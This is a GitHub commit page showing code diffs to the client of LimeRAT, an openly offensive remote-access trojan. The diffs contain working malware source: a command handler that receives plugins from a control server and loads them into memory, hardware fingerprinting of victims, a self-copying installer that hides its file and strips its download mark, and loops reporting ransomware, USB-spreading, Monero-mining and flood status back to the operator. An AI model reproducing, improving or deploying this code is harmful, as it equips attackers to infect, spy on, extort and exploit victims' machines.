Skip to content

Commit

Permalink
BETA v0.1.9.1
Browse files Browse the repository at this point in the history
  • Loading branch information
Nyrotication committed Dec 7, 2018
1 parent a0ae024 commit e3414ec
Show file tree
Hide file tree
Showing 37 changed files with 8,763 additions and 8,364 deletions.
8 changes: 4 additions & 4 deletions Project/Client/C_Commands.vb
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,11 @@

Public Class C_Commands

Private Shared ReadOnly SPL = C_Settings.SPL
Private Shared SPL = C_Settings.SPL

Public Shared Sub Data(ByVal b As Byte())
Try : C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName) : Catch : End Try
Threading.Thread.Sleep(50)
Dim EN As String = C_Encryption.AES_Decrypt(BS(b))
Dim A As String() = Split(EN, SPL)

Expand Down Expand Up @@ -42,6 +44,7 @@

Case "CPL" 'check if plugin in installed, or ask server to send it
If GTV(A(1)) = Nothing Then
Console.WriteLine(A(1))
C_TcpClient.Send("GPL" + SPL + A(1))
Else
Plugin(GZip(Convert.FromBase64String(GTV(A(1))), False))
Expand All @@ -64,8 +67,6 @@
'Also if you update this method you have to use old LimeRAT to update your clients.
Public Shared Sub Plugin(ByVal B() As Byte, Optional CMD As String = Nothing)
Try
C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName)

For Each Type_ As Type In AppDomain.CurrentDomain.Load(B).GetTypes
For Each GM In Type_.GetMethods
If GM.Name = "CN" Then
Expand All @@ -78,7 +79,6 @@
Next
Next
Catch ex As Exception
C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName)
C_TcpClient.Send("MSG" + SPL + "Plugin Error! " + ex.Message)
End Try
End Sub
Expand Down
2 changes: 1 addition & 1 deletion Project/Client/C_Downloader.vb
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@
End Try

Catch ex As Exception
C_Main.C.Send("MSG" + C_Main.SPL + "DWN Error! " + ex.Message) 'Maybe file is not FUD or link problem
' C_TcpClient.Send("MSG" + C_Main.SPL + "DWN Error! " + ex.Message) 'Maybe file is not FUD or link problem
End Try
End Sub
End Class
Expand Down
52 changes: 29 additions & 23 deletions Project/Client/C_Functions.vb
Original file line number Diff line number Diff line change
Expand Up @@ -34,13 +34,16 @@
End Try
End Function

Function SplitWord(ByVal b As Byte(), ByVal Word As String) As Array ' split bytes by word

'credit to njq8
'a better way to split packets
Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word
Dim a As New Collections.Generic.List(Of Byte())
Dim M As New IO.MemoryStream
Dim MM As New IO.MemoryStream
Dim T As String() = Split(BS(b), Word)
Dim T As String() = Split(BS(b), WRD)
M.Write(b, 0, T(0).Length)
MM.Write(b, T(0).Length + Word.Length, b.Length - (T(0).Length + Word.Length))
MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length))
a.Add(M.ToArray)
a.Add(MM.ToArray)
M.Dispose()
Expand All @@ -57,29 +60,32 @@
End Sub

Public Function GZip(ByVal B As Byte(), ByRef CM As Boolean) As Byte()
On Error Resume Next
If CM Then
Dim MS As New IO.MemoryStream
Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Compress, True)
Ziped.Write(B, 0, B.Length)
Ziped.Dispose()
MS.Position = 0
Dim buffer As Byte() = New Byte((CInt(MS.Length) + 1) - 1) {}
MS.Read(buffer, 0, buffer.Length)
MS.Dispose()
Dim buffer As Byte() = Nothing
Using MS As New IO.MemoryStream
Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Compress, True)
Ziped.Write(B, 0, B.Length)
Ziped.Dispose()
MS.Position = 0
buffer = New Byte((CInt(MS.Length) + 1) - 1) {}
MS.Read(buffer, 0, buffer.Length)
MS.Dispose()
End Using
Return buffer
Else
Dim MS As New IO.MemoryStream(B)
Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Decompress)
Dim buffer As Byte() = New Byte(4 - 1) {}
MS.Position = (MS.Length - 5)
MS.Read(buffer, 0, 4)
Dim count As Integer = BitConverter.ToInt32(buffer, 0)
MS.Position = 0
Dim array As Byte() = New Byte(((count - 1) + 1) - 1) {}
Ziped.Read(array, 0, count)
Ziped.Dispose()
MS.Dispose()
Dim array As Byte() = Nothing
Using MS As New IO.MemoryStream(B)
Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Decompress)
Dim buffer As Byte() = New Byte(4 - 1) {}
MS.Position = (MS.Length - 5)
MS.Read(buffer, 0, 4)
Dim count As Integer = BitConverter.ToInt32(buffer, 0)
MS.Position = 0
array = New Byte(((count - 1) + 1) - 1) {}
Ziped.Read(array, 0, count)
Ziped.Dispose()
MS.Dispose()
End Using
Return array
End If
End Function
Expand Down
1 change: 1 addition & 0 deletions Project/Client/C_ID.vb
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,7 @@

Public Shared Function HWID() As String 'http://www.codeproject.com/Articles/28678/Generating-Unique-Key-Finger-Print-for-a-Computer
Try
' Return IO.Path.GetRandomFileName
Dim tohash As String = Identifier("Win32_Processor", "ProcessorId")
tohash += "-" & Identifier("Win32_BIOS", "SerialNumber")
tohash += "-" & Identifier("Win32_BaseBoard", "SerialNumber")
Expand Down
32 changes: 26 additions & 6 deletions Project/Client/C_Installation.vb
Original file line number Diff line number Diff line change
Expand Up @@ -40,12 +40,32 @@

Private Shared Sub AddDrop(ByVal Location As String)
Try
Dim NewFile As New IO.FileStream(Location, IO.FileMode.CreateNew)
Dim LEXEBYTES As Byte() = IO.File.ReadAllBytes(Windows.Forms.Application.ExecutablePath)
NewFile.Write(LEXEBYTES, 0, LEXEBYTES.Length)
NewFile.Flush()
NewFile.Close()
IO.File.SetAttributes(C_Settings.fullpath, IO.FileAttributes.System + IO.FileAttributes.Hidden)
Using fsSource As IO.FileStream = New IO.FileStream(Windows.Forms.Application.ExecutablePath, IO.FileMode.Open, IO.FileAccess.Read)
Dim bytes() As Byte = New Byte((fsSource.Length) - 1) {}
Dim numBytesToRead As Integer = CType(fsSource.Length, Integer)
Dim numBytesRead As Integer = 0

While (numBytesToRead > 0)
Dim n As Integer = fsSource.Read(bytes, numBytesRead,
numBytesToRead)
If (n = 0) Then
Exit While
End If
numBytesRead = (numBytesRead + n)
numBytesToRead = (numBytesToRead - n)

End While
numBytesToRead = bytes.Length

Using fsNew As IO.FileStream = New IO.FileStream(Location,
IO.FileMode.Create, IO.FileAccess.Write)
fsNew.Write(bytes, 0, numBytesToRead)
fsNew.Flush()
fsNew.Close()
End Using
fsSource.Flush()
fsSource.Close()
End Using
DeleteZoneIdentifier(C_Settings.fullpath)
Catch : End Try
End Sub
Expand Down
77 changes: 38 additions & 39 deletions Project/Client/C_Main.vb
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
'##################################################################
'## N Y A N C A T ||| Updated on Oct./20/2018 ##
'## N Y A N C A T ||| Updated on Nov./27/2018 ##
'##################################################################
'## ##
'## ##
Expand Down Expand Up @@ -36,7 +36,6 @@
Namespace Lime

Public Class C_Main
Public Shared C As New C_TcpClient
Public Shared SPL = C_Settings.SPL


Expand Down Expand Up @@ -105,7 +104,7 @@ Namespace Lime
#Region "Plugins Loops"
Declare Sub IdleTimerReset Lib "coredll.dll" Alias "SystemIdleTimerReset" ()
Private Shared Sub Checking()
Threading.Thread.CurrentThread.Sleep(5000)
Threading.Thread.Sleep(5000)

Dim OldRans As String = C_ID.Rans
Dim OldUSB As String = C_ID.USBSP
Expand All @@ -116,50 +115,50 @@ Namespace Lime
While True

1:
If C.Alive = True Then
Threading.Thread.CurrentThread.Sleep(3000)
'Compare old string with new string
If C_TcpClient.isConnected = True Then
Threading.Thread.Sleep(3000)
'Compare old string with new string

Try
Try
If OldRans <> GTV("Rans-Status") Then
OldRans = GTV("Rans-Status")
C.Send("!R" & SPL & OldRans + SPL + C_ID.HWID + SPL + C_ID.UserName)
C_TcpClient.Send("!R" & SPL & OldRans)
End If
Catch ex As Exception

End Try
End Try

Try
If C_Settings.USB Then
If OldUSB <> GTV("USB").ToString Then
OldUSB = GTV("USB")
C.Send("!SP" & SPL & OldUSB + SPL + C_ID.HWID + SPL + C_ID.UserName)
Try
If C_Settings.USB Then
If OldUSB <> GTV("USB").ToString Then
OldUSB = GTV("USB")
C_TcpClient.Send("!SP" & SPL & OldUSB)
End If
End If
Catch ex As Exception
End Try
End If
Catch ex As Exception
End Try

Try
Try
If OldXMR <> C_ID.XMR Then
OldXMR = C_ID.XMR
C.Send("!X" & SPL & OldXMR + SPL + C_ID.HWID + SPL + C_ID.UserName)
C_TcpClient.Send("!X" & SPL & OldXMR)
End If
Catch ex As Exception
End Try
End Try

Try
If OldFLD <> GTV("Flood").ToString Then
OldFLD = GTV("Flood")
C.Send("MSG" & SPL & "Flood! " & OldFLD + SPL + C_ID.HWID + SPL + C_ID.UserName)
Try
If OldFLD <> GTV("Flood").ToString Then
OldFLD = GTV("Flood")
C_TcpClient.Send("MSG" & SPL & "Flood! " & OldFLD)
OldFLD = ""
STV("Flood", "")
End If
Catch ex As Exception
End Try
STV("Flood", "")
End If
Catch ex As Exception
End Try

Else
Threading.Thread.CurrentThread.Sleep(5000)
End If
Else
Threading.Thread.Sleep(5000)
End If

End While

Expand All @@ -169,9 +168,9 @@ Namespace Lime
Try
If GTV("_USB") = Nothing Then
While True
If C.Alive = True Then
Threading.Thread.CurrentThread.Sleep(9000)
C.Send("PLUSB")
If C_TcpClient.isConnected = True Then
Threading.Thread.Sleep(9000)
C_TcpClient.Send("PLUSB")
Exit While
End If
Threading.Thread.Sleep(5000)
Expand All @@ -180,17 +179,17 @@ Namespace Lime
C_Commands.Plugin(GZip(Convert.FromBase64String(GTV("_USB")), False))
End If
Catch ex As Exception
C.Send("MSG" + SPL + "_USB Error! " + ex.Message)
C_TcpClient.Send("MSG" + SPL + "_USB Error! " + ex.Message)
End Try
End Sub

Private Shared Sub StartPIN()
Try
If GTV("_PIN") = Nothing Then
While True
If C.Alive = True Then
Threading.Thread.CurrentThread.Sleep(11000)
C.Send("PLPIN")
If C_TcpClient.isConnected = True Then
Threading.Thread.Sleep(11000)
C_TcpClient.Send("PLPIN")
Exit While
End If
Threading.Thread.Sleep(5000)
Expand All @@ -200,7 +199,7 @@ Namespace Lime
C_Commands.Plugin(GZip(Convert.FromBase64String(GTV("_PIN")), False))
End If
Catch ex As Exception
C.Send("MSG" + SPL + "_PIN Error! " + ex.Message)
C_TcpClient.Send("MSG" + SPL + "_PIN Error! " + ex.Message)
End Try
End Sub

Expand Down
Loading

0 comments on commit e3414ec

Please sign in to comment.